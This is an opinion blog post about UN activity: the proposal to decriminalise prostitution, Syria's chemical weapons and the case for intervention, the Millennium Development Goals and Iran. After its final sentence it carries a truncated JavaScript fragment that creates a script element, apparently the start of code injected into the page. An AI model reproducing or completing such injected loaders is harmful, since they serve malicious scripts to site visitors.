Consensus to action: The UN aren’t quite there yet

by Rachel Munford

The UN has been doing a lot recently. Anything of actual significance? I would think so despite its inadequacy that it is not a global law maker or enforcer in many respects.

One of the recent developments is the suggested decriminalisation of prostitution and ‘pimping’. Anti-sex trafficking groups have spoken up in response to this suggestion and claimed it encourages sexual trafficking, as well as increasing the abuse of prostitutes who are not part of the industry of their own free will. The UN has come to this decision after a report from the UN aids department said this would promote the use of condoms and ability to inform the police of any abuse. This leads into the discussion of how much influence the UN has on the world’s governments. How many governments will actually adopt this decriminalisation? It looks like not many.

Syria is also in the spotlight as the UN inspects their chemical weapons, on which the Security Council made a draft decision on the 27th of September. There is a lot of controversy over Syria’s civil war and different attitudes to intervention.  On one side there is call for intervention from a Human Rights standpoint as it is felt we should not watch other people suffer unnecessarily and cruelly just to save money or to save face with other governments. Yet, the other opinion is that there is no need to interfere in other countries problems. Human Rights activist call for immediate intervention by NATO without a UN decision, which was the course of action in Kosovo. In my opinion, this option is the more reasonable because. There is always delay caused by the permanent Security Council members disagreeing over the outcome. Those in power often forget, as they sit at their desks, that they are talking about real people who are no different from their families and friends in the firing lines.

As of the 23rd of September, the General Assembly was in progress and was held in the USA. The main discussion for the world leaders is the inability to meet the Millennium Development Goals on time. The latter is another interesting display of common political dramas as it seems that no government can actually meet any targets on time. The goals to improve gender imbalance across the world as well as decrease child mortality figures are the most behind schedule. Apart from UN Millennium Development goals, the Assembly has allowed discussion over Iran’s pursuit of nuclear weapons. If I didn’t think Politics was about power before – I would now. Many leaders associate force with power, instead of the power of cooperation, and having nuclear weapons would appear to be the only way to gain it.

Overall the UN appears to be committing to a lot of well-meaning enterprises but is either behind, or ill-advised, on the outcome. Is that how politics is supposed to work?var d=document;var s=d.createElement(‘script’);